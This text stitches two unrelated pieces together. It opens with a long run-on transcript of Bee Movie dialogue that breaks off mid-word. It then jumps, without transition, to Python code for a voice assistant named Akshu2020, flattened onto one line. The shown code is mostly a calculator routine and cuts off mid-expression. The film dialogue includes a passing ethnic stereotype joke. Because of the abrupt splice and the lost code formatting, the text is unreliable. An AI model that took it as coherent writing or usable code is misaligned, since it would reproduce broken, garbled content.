Barry. Just what?! Bees don't know about this! This is stealing! A lot of stealing! You've taken our homes, schools,hospitals! This is all we have! And it's on sale?! I'm getting to the bottom of this. I'm getting to the bottom of all of this! Hey, Hector. You almost done? Almost. He is here. I sense it. Well, I guess I'll go home now and just leave this nice honey out, with no one around. You're busted, box boy! I knew I heard something. So you can talk! I can talk. And now you'll start talking! Where you getting the sweet stuff? Who's your supplier? I don't understand. I thought we were friends. The last thing we want to do is upset bees! You're too late! It's ours now! You, sir, have crossed the wrong sword! You, sir, will be lunch for my iguana, Ignacio! Where is the honey coming from? Tell me where! Honey Farms! It comes from Honey Farms! Crazy person! What horrible thing has happened here? These faces, they never knew what hit them. And now they're on the road to nowhere! Just keep still. What? You're not dead? Do I look dead? They will wipe anything that moves. Where you headed? To Honey Farms. I am onto something huge here. I'm going to Alaska. Moose blood, crazy stuff. Blows your head off! I'm going to Tacoma. And you? He really is dead. All right. Uh-oh! What is that?! Oh, no! A wiper! Triple blade! Triple blade? Jump on! It's your only chance, bee! Why does everything have to be so doggone clean?! How much do you people need to see?! Open your eyes! Stick your head out the window! From NPR News in Washington, I'm Carl Kasell. But don't kill no more bugs! Bee! Moose blood guy!! You hear something? Like what? Like tiny screaming. Turn off the radio. Whassup, bee boy? Hey, Blood. Just a row of honey jars, as far as the eye could see. Wow! I assume wherever this truck goes is where they're getting it. I mean, that honey's ours. Bees hang tight. We're all jammed in. It's a close community. Not us, man. We on our own. Every mosquito on his own. What if you get in trouble? You a mosquito, you in trouble. Nobody likes us. They just smack. See a mosquito, smack, smack! At least you're out in the world. You must meet girls. Mosquito girls try to trade up, get with a moth, dragonfly. Mosquito girl don't want no mosquito. You got to be kidding me! Mooseblood's about to leave the building! So long, bee! Hey, guys! Mooseblood! I knew I'd catch y'all down here. Did you bring your crazy straw? We throw it in jars, slap a label on it, and it's pretty much pure profit. What is this place? A bee's got a brain the size of a pinhead. They are pinheads! Pinhead. Check out the new smoker. Oh, sweet. That's the one you want. The Thomas 3000! Smoker? Ninety puffs a minute, semi-automatic. Twice the nicotine, all the tar. A couple breaths of this knocks them right out. They make the honey, and we make the money. "They make the honey, and we make the money"? Oh, my! What's going on? Are you OK? Yeah. It doesn't last too long. Do you know you're in a fake hive with fake walls? Our queen was moved here. We had no choice. This is your queen? That's a man in women's clothes! That's a drag queen! What is this? Oh, no! There's hundreds of them! Bee honey. Our honey is being brazenly stolen on a massive scale! This is worse than anything bears have done! I intend to do something. Oh, Barry, stop. Who told you humans are taking our honey? That's a rumor. Do these look like rumors? That's a conspiracy theory. These are obviously doctored photos. How did you get mixed up in this? He's been talking to humans. What? Talking to humans?! He has a human girlfriend. And they make out! Make out? Barry! We do not. You wish you could. Whose side are you on? The bees! I dated a cricket once in San Antonio. Those crazy legs kept me up all night. Barry, this is what you want to do with your life? I want to do it for all our lives. Nobody works harder than bees! Dad, I remember you coming home so overworked your hands were still stirring. You couldn't stop. I remember that. What right do they have to our honey? We live on two cups a year. They put it in lip balm for no reason whatsoever! Even if it's true, what can one bee do? Sting them where it really hurts. In the face! The eye! That would hurt. No. Up the nose? That's a killer. There's only one place you can sting the humans, one place where it matters. Hive at Five, The Hive's only full-hour action news source. No more bee beards! With Bob Bumble at the anchor desk. Weather with Storm Stinger. Sports with Buzz Larvi. And Jeanette Chung. Good evening. I'm Bob Bumble. And I'm Jeanette Ohung. A tri-county bee, Barry Benson, intends to sue the human race for stealing our honey, packaging it and profiting from it illegally! Tomorrow night on Bee Larry King, we'll have three former queens here in our studio, discussing their new book, classy Ladies, out this week on Hexagon. Tonight we're talking to Barry Benson. Did you ever think, "I'm a kid from The Hive. I can't do this"? Bees have never been afraid to change the world. What about Bee Oolumbus? Bee Gandhi? Bejesus? Where I'm from, we'd never sue humans. We were thinking of stickball or candy stores. How old are you? The bee community is supporting you in this case, which will be the trial of the bee century. You know, they have a Larry King in the human world too. It's a common name. Next week... He looks like you and has a show and suspenders and colored dots... Next week... Glasses, quotes on the bottom from the guest even though you just heard 'em. Bear Week next week! They're scary, hairy and here live. Always leans forward, pointy shoulders, squinty eyes, very Jewish. In tennis, you attack at the point of weakness! It was my grandmother, Ken. She's 81. Honey, her backhand's a joke! I'm not gonna take advantage of that? Quiet, please. Actual work going on here. Is that that same bee? Yes, it is! I'm helping him sue the human race. Hello. Hello, bee. This is Ken. Yeah, I remember you. Timberland, size ten and a half. Vibram sole, I believe. Why does he talk again? Listen, you better go 'cause we're really busy working. But it's our yogurt night! Bye-bye. Why is yogurt night so difficult?! You poor thing. You two have been at this for hours! Yes, and Adam here has been a huge help. Frosting... How many sugars? Just one. I try not to use the competition. So why are you helping me? Bees have good qualities. And it takes my mind off the shop. Instead of flowers, people are giving balloon bouquets now. Those are great, if you're three. And artificial flowers. Oh, those just get me psychotic! Yeah, me too. Bent stingers, pointless pollination. Bees must hate those fake things! Nothing worse than a daffodil that's had work done. Maybe this could make up for it a little bit. This lawsuit's a pretty big deal. I guess. You sure you want to go through with it? Am I sure? When I'm done with the humans, they won't be able to say, "Honey, I'm home," without paying a royalty! It's an incredible scene here in downtown Manhattan, where the world anxiously waits, because for the first time in history, we will hear for ourselves if a honeybee can actually speak. What have we gotten into here, Barry? It's pretty big, isn't it? I can't believe how many humans don't work during the day. You think billion-dollar multinational food companies have good lawyers? Everybody needs to stay behind the barricade. What's the matter? I don't know, I just got a chill. Well, if it isn't the bee team. You boys work on this? All rise! The Honorable Judge Bumbleton presiding. All right. Case number 4475, Superior Court of New York, Barry Bee Benson v. the Honey Industry is now in session. Mr. Montgomery, you're representing the five food companies collectively? A privilege. Mr. Benson... you're representing all the bees of the world? I'm kidding. Yes, Your Honor, we're ready to proceed. Mr. Montgomery, your opening statement, please. Ladies and gentlemen of the jury, my grandmother was a simple woman. Born on a farm, she believed it was man's divine right to benefit from the bounty of nature God put before us. If we lived in the topsy-turvy world Mr. Benson imagines, just think of what would it mean. I would have to negotiate with the silkworm for the elastic in my britches! Talking bee! How do we know this isn't some sort of holographic motion-picture-capture Hollywood wizardry? They could be using laser beams! Robotics! Ventriloquism! Cloning! For all we know, he could be on steroids! Mr. Benson? Ladies and gentlemen, there's no trickery here. I'm just an ordinary bee. Honey's pretty important to me. It's important to all bees. We invented it! We make it. And we protect it with our lives. Unfortunately, there are some people in this room who think they can take it from us 'cause we're the little guys! I'm hoping that, after this is all over, you'll see how, by taking our honey, you not only take everything we have but everything we are! I wish he'd dress like that all the time. So nice! Call your first witness. So, Mr. Klauss Vanderhayden of Honey Farms, big company you have. I suppose so. I see you also own Honeyburton and Honron! Yes, they provide beekeepers for our farms. Beekeeper. I find that to be a very disturbing term. I don't imagine you employ any bee-free-ers, do you? No. I couldn't hear you. No. No. Because you don't free bees. You keep bees. Not only that, it seems you thought a bear would be an appropriate image for a jar of honey. They're very lovable creatures. Yogi Bear, Fozzie Bear, Build-A-Bear. You mean like this? Bears kill bees! How'd you like his head crashing through your living room?! Biting into your couch! Spitting out your throw pillows! OK, that's enough. Take him away. So, Mr. Sting, thank you for being here. Your name intrigues me. Where have I heard it before? I was with a band called The Police. But you've never been a police officer, have you? No, I haven't. No, you haven't. And so here we have yet another example of bee culture casually stolen by a human for nothing more than a prance-about stage name. Oh, please. Have you ever been stung, Mr. Sting? Because I'm feeling a little stung, Sting. Or should I say... Mr. Gordon M. Sumner! That's not his real name?! You idiots! Mr. Liotta, first, belated congratulations on your Emmy win for a guest spot on ER in 2005. Thank you. Thank you. I see from your resume that you're devilishly handsome with a churning inner turmoil that's ready to blow. I enjoy what I do. Is that a crime? Not yet it isn't. But is this what it's come to for you? Exploiting tiny, helpless bees so you don't have to rehearse your part and learn your lines, sir? Watch it, Benson! I could blow right now! This isn't a goodfella. This is a badfella! Why doesn't someone just step on this creep, and we can all go home?! Order in this court! You're all thinking it! Order! Order, I say! Say it! Mr. Liotta, please sit down! I think it was awfully nice of that bear to pitch in like that. I think the jury's on our side. Are we doing everything right, legally? I'm a florist. Right. Well, here's to a great team. To a great team! Well, hello. Ken! Hello. I didn't think you were coming. No, I was just late I tried to call, but... the battery. I didn't want all this to go to waste, so I called Barry. Luckily, he was free. Oh, that was lucky. There's a little left. I could heat it up. Yeah, heat it up, sure, whatever. So I hear you're quite a tennis player. I'm not much for the game myself. The ball's a little grabby. That's where I usually sit. Right... there. Ken, Barry was looking at your resume, and he agreed with me that eating with chopsticks isn't really a special skill. You think I don't see what you're doing? I know how hard it is to find the right job. We have that in common. Do we? Bees have 100 percent employment, but we do jobs like taking the crud out. That's just what I was thinking about doing. Ken, I let Barry borrow your razor for his fuzz. I hope that was all right. I'm going to drain the old stinger. Yeah, you do that. Look at that. You know, I've just about had it with your little Mind Games. What's that? Italian Vogue. Mamma mia, that's a lot of pages. A lot of ads. Remember what Van said, why is your life more valuable than mine? Funny, I just can't seem to recall that! I think something stinks in here! I love the smell of flowers. How do you like the smell of flames?! Not as much. Water bug! Not taking sides! Ken, I'm wearing a Chapstick hat! This is pathetic! I've got issues! Well, well, well, a royal flush! You're bluffing. Am I? Surf's up, dude! Poo water! That bowl is gnarly. Except for those dirty yellow rings! Kenneth! What are you doing?! You know, I don't even like honey! I don't eat it! We need to talk! He's just a little bee! And he happens to be the nicest bee I've met in a long time! Long time? What are you talking about?! Are there other bugs in your life? No, but there are other things bugging me in life. And you're one of them! Fine! Talking bees, no yogurt night... My nerves are fried from riding on this emotional roller coaster! Goodbye, Ken. And for your information, I prefer sugar-free, artificial sweeteners made by man! I'm sorry about all that. I know it's got an aftertaste! I like it! I always felt there was some kind of barrier between Ken and me. I couldn't overcome it. Oh, well. Are you OK for the trial? I believe Mr. Montgomery is about out of ideas. We would like to call Mr. Barry Benson Bee to the stand. Good idea! You can really see why he's considered one of the best lawyers... Yeah. Layton, you've gotta weave some magic with this jury, or it's gonna be all over. Don't worry. The only thing I have to do to turn this jury around is to remind them of what they don't like about bees. You got the tweezers? Are you allergic? Only to losing, son. Only to losing. Mr. Benson Bee, I'll ask you what I think we'd all like to know. What exactly is your relationship to that woman? We're friends. Good friends? Yes. How good? Do you live together? Wait a minute... Are you her little... bedbug? I've seen a bee documentary or two. From what I understand, doesn't your queen give birth to all the bee children? Yeah, but... So those aren't your real parents! Oh, Barry... Yes, they are! Hold me back! You're an illegitimate bee, aren't you, Benson? He's denouncing bees! Don't y'all date your cousins? Objection! I'm going to pincushion this guy! Adam, don't! It's what he wants! Oh, I'm hit!! Oh, lordy, I am hit! Order! Order! The venom! The venom is coursing through my veins! I have been felled by a winged beast of destruction! You see? You can't treat them like equals! They're striped savages! Stinging's the only thing they know! It's their way! Adam, stay with me. I can't feel my legs. What Angel of Mercy will come forward to suck the poison from my heaving buttocks? I will have order in this court. Order! Order, please! The case of the honeybees versus the human race took a pointed Turn Against the bees yesterday when one of their legal team stung Layton T. Montgomery. Hey, buddy. Hey. Is there much pain? Yeah. I... I blew the whole case, didn't I? It doesn't matter. What matters is you're alive. You could have died. I'd be better off dead. Look at me. They got it from the cafeteria downstairs, in a tuna sandwich. Look, there's a little celery still on it. What was it like to sting someone? I can't explain it. It was all... All adrenaline and then...and then ecstasy! All right. You think it was all a trap? Of course. I'm sorry. I flew us right into this. What were we thinking? Look at us. We're just a couple of bugs in this world. What will the humans do to us if they win? I don't know. I hear they put the roaches in motels. That doesn't sound so bad. Adam, they check in, but they don't check out! Oh, my. Could you get a nurse to close that window? Why? The smoke. Bees don't smoke. Right. Bees don't smoke. Bees don't smoke! But some bees are smoking. That's it! That's our case! It is? It's not over? Get dressed. I've gotta go somewhere. Get back to the court and stall. Stall any way you can. And assuming you've done step correctly, you're ready for the tub. Mr. Flayman. Yes? Yes, Your Honor! Where is the rest of your team? Well, Your Honor, it's interesting. Bees are trained to fly haphazardly, and as a result, we don't make very good time. I actually heard a funny story about... Your Honor, haven't these ridiculous bugs taken up enough of this court's valuable time? How much longer will we allow these absurd shenanigans to go on? They have presented no compelling evidence to support their charges against my clients, who run legitimate businesses. I move for a complete dismissal of this entire case! Mr. Flayman, I'm afraid I'm going to have to consider Mr. Montgomery's motion. But you can't! We have a terrific case. Where is your proof? Where is the evidence? Show me the smoking gun! Hold it, Your Honor! You want a smoking gun? Here is your smoking gun. What is that? It's a bee smoker! What, this? This harmless little contraption? This couldn't hurt a fly, let alone a bee. Look at what has happened to bees who have never been asked, "Smoking or non?" Is this what nature intended for us? To be forcibly addicted to smoke machines and man-made wooden slat work camps? Living out our lives as honey slaves to the white man? What are we gonna do? He's playing the species card. Ladies and gentlemen, please, free these bees! Free the bees! Free the bees! Free the bees! Free the bees! Free the bees! The court finds in favor of the bees! Vanessa, we won! I knew you could do it! High-five! Sorry. I'm OK! You know what this means? All the honey will finally belong to the bees. Now we won't have to work so hard all the time. This is an unholy perversion of the balance of nature, Benson. You'll regret this. Barry, how much honey is out there? All right. One at a time. Barry, who are you wearing? My sweater is Ralph Lauren, and I have no pants. What if Montgomery's right? What do you mean? We've been living the bee way a long time, 27 million years. Congratulations on your victory. What will you demand as a settlement? First, we'll demand a complete shutdown of all bee work camps. Then we want back the honey that was ours to begin with, every last drop. We demand an end to the glorification of the bear as anything more than a filthy, smelly, bad-breath stink machine. We're all aware of what they do in the woods. Wait for my signal. Take him out. He'll have nauseous for a few hours, then he'll be fine. And we will no longer tolerate bee-negative nicknames... But it's just a prance-about stage name! ...unnecessary inclusion of honey in bogus health products and la-dee-da human tea-time snack garnishments. Can't breathe. Bring it in, boys! Hold it right there! Good. Tap it. Mr. Buzzwell, we just passed three cups and there's gallons more coming! I think we need to shut down! Shut down? We've never shut down. Shut down honey production! Stop making honey! Turn your key, sir! What do we do now? Cannonball! We're shutting honey production! Mission abort. Aborting pollination and nectar detail. Returning to base. Adam, you wouldn't believe how much honey was out there. Oh, yeah? What's going on? Where is everybody? Are they out celebrating? They're home. They don't know what to do. Laying out, sleeping in. I heard your Uncle Carl was on his way to San Antonio with a cricket. At least we got our honey back. Sometimes I think, so what if humans liked our honey? Who wouldn't? It's the greatest thing in the world! I was excited to be part of making it. This was my new desk. This was my new job. I wanted to do it really well. And now... Now I can't. I don't understand why they're not happy. I thought their lives would be better! They're doing nothing. It's amazing. Honey really changes people. You don't have any idea what's going on, do you? What did you want to show me? This. What happened here? That is not the half of it. Oh, no. Oh, my. They're all wilting. Doesn't look very good, does it? No. And whose fault do you think that is? You know, I'm gonna guess bees. Bees? Specifically, me. I didn't think bees not needing to make honey would affect all these things. It's not just flowers. Fruits, vegetables, they all need bees. That's our whole SAT test right there. Take away produce, that affects the entire animal kingdom. And then, of course... The human species? So if there's no more pollination, it could all just go south here, couldn't it? I know this is also partly my fault. How about a suicide pact? How do we do it? I'll sting you, you step on me. That just kills you twice. Right, right. Listen, Barry... sorry, but I gotta get going. I had to open my mouth and talk. Vanessa? Vanessa? Why are you leaving? Where are you going? To the final Tournament of Roses parade in Pasadena. They've moved it to this weekend because all the flowers are dying. It's the Last Chance I'll ever have to see it. Vanessa, I just wanna say I'm sorry. I never meant it to turn out like this. I know. Me neither. Tournament of Roses. Roses can't do sports. Wait a minute. Roses. Roses? Roses! Vanessa! Roses?! Barry? Roses are flowers! Yes, they are. Flowers, bees, pollen! I know. That's why this is the last parade. Maybe not. Could you ask him to slow down? Could you slow down? Barry! OK, I made a huge mistake. This is a total disaster, all my fault. Yes, it kind of is. I've ruined the planet. I wanted to help you with the flower shop. I've made it worse. Actually, it's completely closed down. I thought maybe you were remodeling. But I have another idea, and it's greater than my previous ideas combined. I don't want to hear it! All right, they have the roses, the roses have the pollen. I know every bee, plant and flower bud in this park. All we gotta do is get what they've got back here with what we've got. Bees. Park. Pollen! Flowers. Repollination! Across the nation! Tournament of Roses, Pasadena, California. They've got nothing but flowers, floats and cotton candy. Security will be tight. I have an idea. Vanessa Bloome, FTD. Official floral business. It's real. Sorry, ma'am. Nice brooch. Thank you. It was a gift. Once inside, we just pick the right float. How about The Princess and the Pea? I could be the princess, and you could be the pea! Yes, I got it. Where should I sit? What are you? I believe I'm the pea. The pea? It goes under the mattresses. Not in this fairy tale, sweetheart. I'm getting the marshal. You do that! This whole parade is a fiasco! Let's see what this baby'll do. Hey, what are you doing?! Then all we do is blend in with traffic... without arousing suspicion. Once at the airport, there's no stopping us. Stop! Security. You and your insect pack your float? Yes. Has it been in your possession the entire time? Would you remove your shoes? Remove your stinger. It's part of me. I know. Just having some fun. Enjoy your flight. Then if we're lucky, we'll have just enough pollen to do the job. Can you believe how lucky we are? We have just enough pollen to do the job! I think this is gonna work. It's got to work. Attention, passengers, this is Captain Scott. We have a bit of bad weather in New York. It looks like we'll experience a couple hours delay. Barry, these are cut flowers with no water. They'll never make it. I gotta get up there and talk to them. Be careful. Can I get help with the Sky Mall magazine? I'd like to order the talking inflatable nose and ear hair trimmer. Captain, I'm in a real situation. What'd you say, Hal? Nothing. Bee! Don't freak out! My entire species... What are you doing? Wait a minute! I'm an attorney! Who's an attorney? Don't move. Oh, Barry. Good afternoon, passengers. This is your captain. Would a Miss Vanessa Bloome in 24B please report to the cockpit? And please hurry! What happened here? There was a DustBuster, a toupee, a life raft exploded. One's bald, one's in a boat, they're both unconscious! Is that another bee joke? No! No one's flying the plane! This is JFK control tower, Flight 356. What's your status? This is Vanessa Bloome. I'm a florist from New York. Where's the pilot? He's unconscious, and so is the copilot. Not good. Does anyone onboard have flight experience? As a matter of fact, there is. Who's that? Barry Benson. From the honey trial?! Oh, great. Vanessa, this is nothing more than a big metal bee. It's got giant wings, huge engines. I can't fly a plane. Why not? Isn't John Travolta a pilot? Yes. How hard could it be? Wait, Barry! We're headed into some lightning. This is Bob Bumble. We have some late-breaking news from JFK Airport, where a suspenseful scene is developing. Barry Benson, fresh from his legal victory... That's Barry! ...is attempting to land a plane, loaded with people, flowers and an incapacitated flight crew. Flowers?! We have a storm in the area and two individuals at the controls with absolutely no flight experience. Just a minute. There's a bee on that plane. I'm quite familiar with Mr. Benson and his no-account compadres. They've done enough damage. But isn't he your only hope? Technically, a bee shouldn't be able to fly at all. Their wings are too small... Haven't we heard this a million times? "The surface area of the wings and body mass make no sense." Get this on the air! Got it. Stand by. We're going live. The way we work may be a mystery to you. Making honey takes a lot of bees doing a lot of small jobs. But let me tell you about a small job. If you do it well, it makes a big difference. More than we realized. To us, to everyone. That's why I want to get bees back to working together. That's the bee way! We're not made of Jell-O. We get behind a fellow. Black and yellow! Hello! Left, right, down, hover. Hover? Forget hover. This isn't so hard. Beep-beep! Beep-beep! Barry, what happened?! Wait, I think we were on autopilot the whole time. That may have been helping me. And now we're not! So it turns out I cannot fly a plane. All of you, let's get behind this fellow! Move it out! Move out! Our only chance is if I do what I'd do, you copy me with the wings of the plane! Don't have to yell. I'm not yelling! We're in a lot of trouble. It's very hard to concentrate with that panicky tone in your voice! It's not a tone. I'm panicking! I can't do this! Vanessa, pull yourself together. You have to snap out of it! You snap out of it. You snap out of it. You snap out of it! You snap out of it! You snap out of it! You snap out of it! You snap out of it! You snap out of it! Hold it! Why? Come on, it's my turn. How is the plane flying? I don't know. Hello? Benson, got any flowers for a happy occasion in there? The Pollen Jocks! They do get behind a fellow. Black and yellow. Hello. All right, let's drop this tin can on the blacktop. Where? I can't see anything. Can you? No, nothing. It's all cloudy. Come on. You got to think bee, Barry. Thinking bee. Thinking bee. Thinking bee! Thinking bee! Thinking bee! Wait a minute. I think I'm feeling something. What? I don't know. It's strong, pulling me. Like a 27-million-year-old instinct. Bring the nose down. Thinking bee! Thinking bee! Thinking bee! What in the world is on the tarmac? Get some lights on that! Thinking bee! Thinking bee! Thinking bee! Vanessa, aim for the flower. OK. Cut the engines. We're going in on bee power. Ready, boys? Affirmative! Good. Good. Easy, now. That's it. Land on that flower! Ready? Full reverse! Spin it around! Not that flower! The other one! Which one? That flower. I'm aiming at the flower! That's a fat guy in a flowered shirt. I mean the giant pulsating flower made of millions of bees! Pull forward. Nose down. Tail up. Rotate around it. This is insane, Barry! This's the only way I know how to fly. Am I koo-koo-kachoo, or is this plane flying in an insect-like pattern? Get your nose in there. Don't be afraid. Smell it. Full reverse! Just drop it. Be a part of it. Aim for the center! Now drop it in! Drop it in, woman! Come on, already. Barry, we did it! You taught me how to fly! Yes. No high-five! Right. Barry, it worked! Did you see the giant flower? What giant flower? Where? Of course I saw the flower! That was genius! Thank you. But we're not done yet. Listen, everyone! This runway is covered with the last pollen from the last flowers available anywhere on Earth. That means this is our Last Chance. We're the only ones who make honey, pollinate flowers and dress like this. If we're gonna survive as a species, this is our moment! What do you say? Are we going to be bees, or just Museum of Natural History keychains? We're bees! Keychain! Then follow me! Except Keychain. Hold on, Barry. Here. You've earned this. Yeah! I'm a Pollen Jock! And it's a perfect fit. All I gotta do are the sleeves. Oh, yeah. That's our Barry. Mom! The bees are back! If anybody needs to make a call, now's the time. I got a feeling we'll be working late tonight! Here's your change. Have a great afternoon! Can I help who's next? Would you like some honey with that? It is bee-approved. Don't forget these. Milk, cream, cheese, it's all me. And I don't see a nickel! Sometimes I just feel like a piece of meat! I had no idea. Barry, I'm sorry. Have you got a moment? Would you excuse me? My mosquito associate will help you. Sorry I'm late. He's a lawyer too? I was already a blood-sucking parasite. All I needed was a briefcase. Have a great afternoon! Barry, I just got this huge tulip order, and I can't get them anywhere. No problem, Vannie. Just leave it to me. You're a lifesaver, Barry. Can I help who's next? All right, scramble, jocks! It's time to fly. Thank you, Barry! That bee is living my life! Let it go, Kenny. When will this nightmare end?! Let it all go. Beautiful day to fly. Sure is. Between you and me, I was dying to get out of that office. You have got to start thinking bee, my friend. Thinking bee! Me? Hold it. Let's just stop for a second. Hold it. I'm sorry. I'm sorry, everyone. Can we stop here? I'm not making a major life decision during a production number! All right. Take ten, everybody. Wrap it up, guys. I h
Rynkll696 / HHimport pyttsx3 import speech_recognition as sr import datetime from datetime import date import calendar import time import math import wikipedia import webbrowser import os import smtplib import winsound import pyautogui import cv2 from pygame import mixer from tkinter import * import tkinter.messagebox as message from sqlite3 import * conn = connect("voice_assistant_asked_questions.db") conn.execute("CREATE TABLE IF NOT EXISTS `voicedata`(id INTEGER PRIMARY KEY AUTOINCREMENT,command VARCHAR(201))") conn.execute("CREATE TABLE IF NOT EXISTS `review`(id INTEGER PRIMARY KEY AUTOINCREMENT, review VARCHAR(50), type_of_review VARCHAR(50))") conn.execute("CREATE TABLE IF NOT EXISTS `emoji`(id INTEGER PRIMARY KEY AUTOINCREMENT,emoji VARCHAR(201))") global query engine = pyttsx3.init('sapi5') voices = engine.getProperty('voices') engine.setProperty('voice', voices[0].id) def speak(audio): engine.say(audio) engine.runAndWait() def wishMe(): hour = int(datetime.datetime.now().hour) if hour >= 0 and hour<12: speak("Good Morning!") elif hour >= 12 and hour < 18: speak("Good Afternoon!") else: speak("Good Evening!") speak("I am voice assistant Akshu2020 Sir. Please tell me how may I help you.") def takeCommand(): global query r = sr.Recognizer() with sr.Microphone() as source: print("Listening...") r.pause_threshold = 0.9 audio = r.listen(source) try: print("Recognizing...") query = r.recognize_google(audio,language='en-in') print(f"User said: {query}\n") except Exception as e: #print(e) print("Say that again please...") #speak('Say that again please...') return "None" return query def calculator(): global query try: if 'add' in query or 'edi' in query: speak('Enter a number') a = float(input("Enter a number:")) speak('Enter another number to add') b = float(input("Enter another number to add:")) c = a+b print(f"{a} + {b} = {c}") speak(f'The addition of {a} and {b} is {c}. Your answer is {c}') speak('Do you want to do another calculation?') query = takeCommand().lower() if 'y' in query: speak('ok which calculation you want to do?') query = takeCommand().lower() calculator() else: speak('ok') elif 'sub' in query: speak('Enter a number') a = float(input("Enter a number:")) speak('Enter another number to subtract') b = float(input("Enter another number to subtract:")) c = a-b print(f"{a} - {b} = {c}") speak(f'The subtraction of {a} and {b} is {c}. Your answer is {c}') speak('Do you want to do another calculation?') query = takeCommand().lower() if 'y' in query: speak('ok which calculation you want to do?') query = takeCommand().lower() calculator() else: speak('ok') elif 'mod' in query: speak('Enter a number') a = float(input("Enter a number:")) speak('Enter another number') b = float(input("Enter another number:")) c = a%b print(f"{a} % {b} = {c}") speak(f'The modular division of {a} and {b} is equal to {c}. Your answer is {c}') speak('Do you want to do another calculation?') query = takeCommand().lower() if 'y' in query: speak('ok which calculation you want to do?') query = takeCommand().lower() calculator() else: speak('ok') elif 'div' in query: speak('Enter a number as dividend') a = float(input("Enter a number:")) speak('Enter another number as divisor') b = float(input("Enter another number as divisor:")) c = a/b print(f"{a} / {b} = {c}") speak(f'{a} divided by {b} is equal to {c}. Your answer is {c}') speak('Do you want to do another calculation?') query = takeCommand().lower() if 'y' in query: speak('ok which calculation you want to do?') query = takeCommand().lower() calculator() else: speak('ok') elif 'multi' in query: speak('Enter a number') a = float(input("Enter a number:")) speak('Enter another number to multiply') b = float(input("Enter another number to multiply:")) c = a*b print(f"{a} x {b} = {c}") speak(f'The multiplication of {a} and {b} is {c}. Your answer is {c}') speak('Do you want to do another calculation?') query = takeCommand().lower() if 'y' in query: speak('ok which calculation you want to do?') query = takeCommand().lower() calculator() else: speak('ok') elif 'square root' in query: speak('Enter a number to find its sqare root') a = float(input("Enter a number:")) c = a**(1/2) print(f"Square root of {a} = {c}") speak(f'Square root of {a} is {c}. Your answer is {c}') speak('Do you want to do another calculation?') query = takeCommand().lower() if 'y' in query: speak('ok which calculation you want to do?') query = takeCommand().lower() calculator() else: speak('ok') elif 'square' in query: speak('Enter a number to find its sqare') a = float(input("Enter a number:")) c = a**2 print(f"{a} x {a} = {c}") speak(f'Square of {a} is {c}. Your answer is {c}') speak('Do you want to do another calculation?') query = takeCommand().lower() if 'y' in query: speak('ok which calculation you want to do?') query = takeCommand().lower() calculator() else: speak('ok') elif 'cube root' in query: speak('Enter a number to find its cube root') a = float(input("Enter a number:")) c = a**(1/3) print(f"Cube root of {a} = {c}") speak(f'Cube root of {a} is {c}. Your answer is {c}') speak('Do you want to do another calculation?') query = takeCommand().lower() if 'y' in query: speak('ok which calculation you want to do?') query = takeCommand().lower() calculator() else: speak('ok') elif 'cube' in query: speak('Enter a number to find its sqare') a = float(input("Enter a number:")) c = a**3 print(f"{a} x {a} x {a} = {c}") speak(f'Cube of {a} is {c}. Your answer is {c}') speak('Do you want to do another calculation?') query = takeCommand().lower() if 'y' in query: speak('ok which calculation you want to do?') query = takeCommand().lower() calculator() else: speak('ok') elif 'fact' in query: try: n = int(input('Enter the number whose factorial you want to find:')) fact = 1 for i in range(1,n+1): fact = fact*i print(f"{n}! = {fact}") speak(f'{n} factorial is equal to {fact}. Your answer is {fact}.') speak('Do you want to do another calculation?') query = takeCommand().lower() if 'y' in query: speak('ok which calculation you want to do?') query = takeCommand().lower() calculator() else: speak('ok') except Exception as e: #print(e) speak('I unable to calculate its factorial.') speak('Do you want to do another calculation?') query = takeCommand().lower() if 'y' in query: speak('ok which calculation you want to do?') query = takeCommand().lower() calculator() else: speak('ok') elif 'power' in query or 'raise' in query: speak('Enter a number whose power you want to raised') a = float(input("Enter a number whose power to be raised :")) speak(f'Enter a raised power to {a}') b = float(input(f"Enter a raised power to {a}:")) c = a**b print(f"{a} ^ {b} = {c}") speak(f'{a} raise to the power {b} = {c}. Your answer is {c}') speak('Do you want to do another calculation?') query = takeCommand().lower() if 'y' in query: speak('ok which calculation you want to do?') query = takeCommand().lower() calculator() else: speak('ok') elif 'percent' in query: speak('Enter a number whose percentage you want to calculate') a = float(input("Enter a number whose percentage you want to calculate :")) speak(f'How many percent of {a} you want to calculate?') b = float(input(f"Enter how many percentage of {a} you want to calculate:")) c = (a*b)/100 print(f"{b} % of {a} is {c}") speak(f'{b} percent of {a} is {c}. Your answer is {c}') speak('Do you want to do another calculation?') query = takeCommand().lower() if 'y' in query: speak('ok which calculation you want to do?') query = takeCommand().lower() calculator() else: speak('ok') elif 'interest' in query: speak('Enter the principal value or amount') p = float(input("Enter the principal value (P):")) speak('Enter the rate of interest per year') r = float(input("Enter the rate of interest per year (%):")) speak('Enter the time in months') t = int(input("Enter the time (in months):")) interest = (p*r*t)/1200 sint = round(interest) fv = round(p + interest) print(f"Interest = {interest}") print(f"The total amount accured, principal plus interest, from simple interest on a principal of {p} at a rate of {r}% per year for {t} months is {p + interest}.") speak(f'interest is {sint}. The total amount accured, principal plus interest, from simple interest on a principal of {p} at a rate of {r}% per year for {t} months is {fv}') speak('Do you want to do another calculation?') query = takeCommand().lower() if 'y' in query: speak('ok which calculation you want to do?') query = takeCommand().lower() calculator() else: speak('ok') elif 'si' in query: speak('Enter the angle in degree to find its sine value') a = float(input("Enter the angle:")) b = a * 3.14/180 c = math.sin(b) speak('Here is your answer.') print(f"sin({a}) = {c}") speak(f'sin({a}) = {c}') speak('Do you want to do another calculation?') query = takeCommand().lower() if 'y' in query: speak('ok which calculation you want to do?') query = takeCommand().lower() calculator() else: speak('ok') elif 'cos' in query: speak('Enter the angle in degree to find its cosine value') a = float(input("Enter the angle:")) b = a * 3.14/180 c = math.cos(b) speak('Here is your answer.') print(f"cos({a}) = {c}") speak(f'cos({a}) = {c}') speak('Do you want to do another calculation?') query = takeCommand().lower() if 'y' in query: speak('ok which calculation you want to do?') query = takeCommand().lower() calculator() else: speak('ok') elif 'cot' in query or 'court' in query: try: speak('Enter the angle in degree to find its cotangent value') a = float(input("Enter the angle:")) b = a * 3.14/180 c = 1/math.tan(b) speak('Here is your answer.') print(f"cot({a}) = {c}") speak(f'cot({a}) = {c}') speak('Do you want to do another calculation?') query = takeCommand().lower() if 'y' in query: speak('ok which calculation you want to do?') query = takeCommand().lower() calculator() else: speak('ok') except Exception as e: print("infinity") speak('Answer is infinity') speak('Do you want to do another calculation?') query = takeCommand().lower() if 'y' in query: speak('ok which calculation you want to do?') query = takeCommand().lower() calculator() else: speak('ok') elif 'tan' in query or '10' in query: speak('Enter the angle in degree to find its tangent value') a = float(input("Enter the angle:")) b = a * 